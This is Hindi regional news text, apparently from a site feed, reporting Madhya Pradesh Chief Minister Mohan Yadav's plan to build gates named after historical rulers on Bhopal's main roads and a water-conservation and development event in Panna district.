सरकार के इस फैसले से न केवल शहर की खूबसूरती बढ़ेगी, बल्कि पर्यटन को भी बढ़ावा मिलेगा। भोपाल आने वाले पर्यटक जब इन भव्य द्वारों को देखेंगे, तो उन्हें राज्य के गौरवशाली इतिहास की झलक मिलेगी। साथ ही, यह योजना प्रदेश के अन्य शहरों के लिए भी एक प्रेरणा बनेगी। इस निर्णय से राजधानी के नागरिकों को अपने राज्य के ऐतिहासिक व्यक्तित्वों पर गर्व महसूस करने का अवसर मिलेगा। ये द्वार न केवल स्थापत्य कला के उत्कृष्ट उदाहरण होंगे, बल्कि वे राज्य की समृद्ध संस्कृति और परंपराओं का प्रतीक भी बनेंगे।

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CM डॉ. मोहन यादव की बड़ी घोषणा राजधानी के प्रमुख मार्गों पर महापुरुषों के नाम से द्वार बनाए जाएंगे https://pratyushaashakinayikiran.com/?p=135850 Tue, 04 Mar 2025 08:39:00 +0000 https://pratyushaashakinayikiran.com/?p=135850 भोपाल

 मुख्यमंत्री डॉ. मोहन यादव ने बड़ी घोषणा की है कि राजधानी भोपाल के प्रमुख मार्गों पर महापुरुषों के नाम से द्वार बनाए जाएंगे, जिससे भोपाल और मध्यप्रदेश के गौरवशाली इतिहास को संजोया जा सकेगा। उन्होंने कहा कि एमपी की पहचान यहां के वीर शासकों से रही है और इस विरासत को सहेजने के लिए सरकार द्वारा ये निर्णय लिया गया है।

भोपाल का इतिहास परमार राजाओं, गोंड शासकों और नवाबों से जुड़ा रहा है। वहीं, पूरे मध्य प्रदेश में सम्राट विक्रमादित्य, राजा भोज, चंद्रगुप्त मौर्य, सम्राट अशोक, रानी दुर्गावती जैसे कई महान शासकों ने शासन किया है। सरकार की इस पहल से इन महापुरुषों की विरासत को और अधिक मजबूती मिलेगी।

सीएम मोहन यादव की घोषणा ‘महापुरुषों के नाम पर बनेंगे द्वार’

मध्यप्रदेश की राजधानी भोपाल के ऐतिहासिक गौरव को पुनर्जीवित करने के उद्देश्य से मुख्यमंत्री डॉ. मोहन यादव ने  महत्वपूर्ण घोषणा की है। उन्होंने कहा कि ‘भोपाल और पूरे मध्य प्रदेश की पहचान वीर शासकों से रही है। सम्राट विक्रमादित्य ने चक्रवर्ती सम्राट की तरह शासन किया। उनका न्याय, ज्ञान, वीरता, दानशीलता, धैर्य, पराक्रम, पुरुषार्थ कई गुणों से उनकी अलग पहचान रही है। उनके एक हजार साल बाद राजा भोज भी अद्वितीय शासक रहे हैं। राजा भोज के कारण भोपाल की विशेष पहचान है। ऐसे में हमारी सरकार ने तय किया है कि हमारी राजधानी का गौरवशाली अतीत है। उस अतीत को सामने लाने की आवश्यकता है। इसलिए राजधानी के प्रमुख मार्गों पर ऐसे महापुरुषों के नाम से द्वार बनाए जाएंगे, जिससे भोपाल और मध्यप्रदेश का गौरवशाली इतिहास संजोया जा सके।

मध्यप्रदेश की विरासत को संजोने का फैसला

प्रदेश सरकार का यह कदम भोपाल को एक ऐतिहासिक और सांस्कृतिक पहचान देने के उद्देश्य से लिया गया है। इससे न सिर्फ शहर की ऐतिहासिक विरासत को संरक्षित किया जाएगा, बल्कि युवाओं और आने वाली पीढ़ी को भी अपने गौरवशाली अतीत के बारे में परिचय मिलेगा। इस फैसले के तहत भोपाल के अलग-अलग क्षेत्रों में ऐतिहासिक महत्व रखने वाले राजाओं, सम्राटों और अन्य महापुरुषों के नाम पर प्रवेश द्वार बनाए जाएंगे। इससे भोपाल में आने वाले पर्यटकों को भी राज्य की समृद्ध ऐतिहासिक पृष्ठभूमि के बारे में जानकारी मिलेगी।

ऐतिहासिक महत्व के द्वार

भोपाल, जो पहले से ही ऐतिहासिक धरोहरों से समृद्ध है, अब इन विशेष स्मारक द्वारों के माध्यम से अपनी संस्कृति और परंपरा को और अधिक मजबूती से प्रदर्शित करेगा। इन द्वारों का निर्माण शहर के प्रमुख मार्गों, चौराहों और प्रवेश स्थलों पर किया जाएगा। हर द्वार का नाम किसी महान नेता, स्वतंत्रता सेनानी, समाज सुधारक या ऐतिहासिक शख्सियत के नाम पर रखा जाएगा, जिससे आने वाली पीढ़ियां उनके योगदान को जान सकें।
पर्यटन और सांस्कृतिक विकास को बढ़ावा

सरकार के इस फैसले से न केवल शहर की खूबसूरती बढ़ेगी, बल्कि पर्यटन को भी बढ़ावा मिलेगा। भोपाल आने वाले पर्यटक जब इन भव्य द्वारों को देखेंगे, तो उन्हें राज्य के गौरवशाली इतिहास की झलक मिलेगी। साथ ही, यह योजना प्रदेश के अन्य शहरों के लिए भी एक प्रेरणा बनेगी। इस निर्णय से राजधानी के नागरिकों को अपने राज्य के ऐतिहासिक व्यक्तित्वों पर गर्व महसूस करने का अवसर मिलेगा। ये द्वार न केवल स्थापत्य कला के उत्कृष्ट उदाहरण होंगे, बल्कि वे राज्य की समृद्ध संस्कृति और परंपराओं का प्रतीक भी बनेंगे।

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पन्ना जिले में आज जल संरक्षण और विकास कार्यों के लिए एक भव्य कार्यक्रम आयोजित किया जाएगा https://pratyushaashakinayikiran.com/?p=111433 Thu, 19 Dec 2024 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=111433 पन्ना
पन्ना जिले में आज जल संरक्षण और विकास कार्यों के लिए एक भव्य कार्यक्रम आयोजित किया जाएगा। नगर के पॉलिटेक्निक मैदान में आयोजित इस कार्यक्रम में प्रदेश के उच्च शिक्षा मंत्री डॉ. मोहन यादव मुख्य अतिथि के रूप में शामिल होंगे। कार्यक्रम में जल कलश यात्रा का समापन और करोड़ों रुपए के विकास कार्यों का शिलान्यास किया जाएगा।

भाजपा जिलाध्यक्ष बृजेंद्र मिश्रा ने बताया कि मुख्यमंत्री डॉ. मोहन यादव कल दोपहर 3:30 बजे हेलीकॉप्टर से पन्ना पहुंचेंगे। इसके बाद वे पॉलिटेक्निक मैदान में आयोजित कार्यक्रम में भाग लेंगे। इस कार्यक्रम में क्षेत्र के तीनों विधायक और स्थानीय सांसद विष्णुदत्त शर्मा भी उपस्थित रहेंगे।

कार्यक्रम की तैयारियों को लेकर भाजपा जिलाध्यक्ष बृजेंद्र मिश्रा ने आज स्थानीय पॉलिटेक्निक मैदान का निरीक्षण किया। उन्होंने व्यवस्थाओं का जायजा लिया और आवश्यक दिशा-निर्देश दिए। साथ ही, उन्होंने जिले के कार्यकर्ताओं और जनता से समय पर कार्यक्रम में पहुंचने की अपील की।

जल संरक्षण और विकास पर जोर
यह कार्यक्रम जल संरक्षण के लिए चलाए जा रहे अभूतपूर्व प्रयासों और क्षेत्र के विकास कार्यों को समर्पित होगा। प्रदेश के मुखिया करोड़ों के विकास कार्यों का शिलान्यास करेंगे, जो जिले के विकास में अहम भूमिका निभाएंगे।

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